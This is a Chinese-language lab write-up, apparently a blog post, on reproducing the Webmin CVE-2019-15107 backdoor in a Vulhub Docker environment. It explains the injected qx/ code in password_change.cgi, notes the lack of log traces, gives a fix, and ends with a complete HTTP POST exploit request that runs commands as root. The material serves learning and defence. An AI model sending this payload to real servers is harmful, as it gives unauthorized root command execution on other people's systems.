(1)安装docker
$ curl -fsSL https://get.docker.com | bash -s docker --mirror Aliyun
(2)安装Docker-Compose
$ pip install docker-compose
#如果没有pip需要先安装
$ yum -y install epel-release
$ yum -y install python-pip
$ pip --version # 查看pip版本
(3)安装Vulhub
$ git clone https://github.com/vulhub/vulhub.git
#如果没有Git需要先安装
$ yum install -y git
1.输入systemctl start docker 启动docker
2.输入systemctl status docker 查看docker状态
3.选择对应靶场进入,这里我们选择webmin下的CVE-2019-15107靶场
4.输入docker-compose up -d 启动靶场环境
6.输入docker exec -it docker-id /bin/bash 进入容器,这里我们docker-id为b6b4fd4f2796
成功进入容器
7.在win10浏览器输入靶场ip查看是否启动成功
Webmin远程命令执行漏洞的主要成因是利用了修改密码功能,密码修改模块的源代码被人恶意植入后门代码,导致攻击者可以通过抓取登录时的数据包,通过改包来进行远程命令执行,危害之大,只要后台能运行的命令,攻击者都可以通过抓改数据包来进行远程命令执行,主要漏洞代码如下图:
漏洞主要是password_change.cgi中的大概第37-45行间,被人在后面拼接了qx/$in{‘old’}/,qx 此函数是使用反引号执行系统命令的替代方法,所以将old字段中的语句当作系统命令执行了,并拼接到pass_error后,会送到数据包中。
主要漏洞逻辑是攻击者提交错误的密码修改数据,导致后台返回报错信息Failed to change password : The current password is incorrect,此时利用漏洞,将执行了命令的old字段拼接在Failed to change password : The current password is incorrect后一起返回。
以下为无漏洞的正常源码
查看漏洞环境,cat /etc/webmin/miniserv.conf,查看passwd_mode=2,此时密码修改功能开启。
可以看到此时是抓到了登录时的数据包,我们只需修改接口和字段,即可使用该漏洞。
将接口改为/password_change.cgi,将传输字段改为密码修改所需的字段,即user=&old=&new1=&new2=,需注意这里的user不可以是系统用户root,也可以直接套用EXP,修改完如下图:
可以看到是最高权限root,此时我们获得最高权限root,可以在服务器随意执行命令,漏洞复现成功。
查看日志文件miniserv.log
可以看到/password_change.cgi的访问记录,但是没有显示异常字段,无法知道是正常业务还是攻击手段。
Root用户下history也无法看到执行的命令(下列命令都是自己在后台执行的,并非远程执行产生的历史记录)
1.找到漏洞代码,将,qx/$in{‘old’}/)代码删除
2.下载最新版本webmin
POST /password_change.cgi HTTP/1.1
Host: ip:10000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
Content-Length: 41
Origin: https://ip:10000
Connection: close
Referer: https://ip:10000/session_login.cgi
Cookie: redirect=1; testing=1; sid=x; sessiontest=1
Upgrade-Insecure-Requests: 1
user=rootxx&old=ls&new1=test2&new2=test2